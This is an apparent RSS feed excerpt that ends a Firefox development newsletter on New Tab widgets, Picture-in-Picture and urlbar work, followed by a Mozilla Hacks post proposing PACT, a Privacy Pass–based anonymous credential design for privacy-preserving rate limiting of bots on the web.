<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
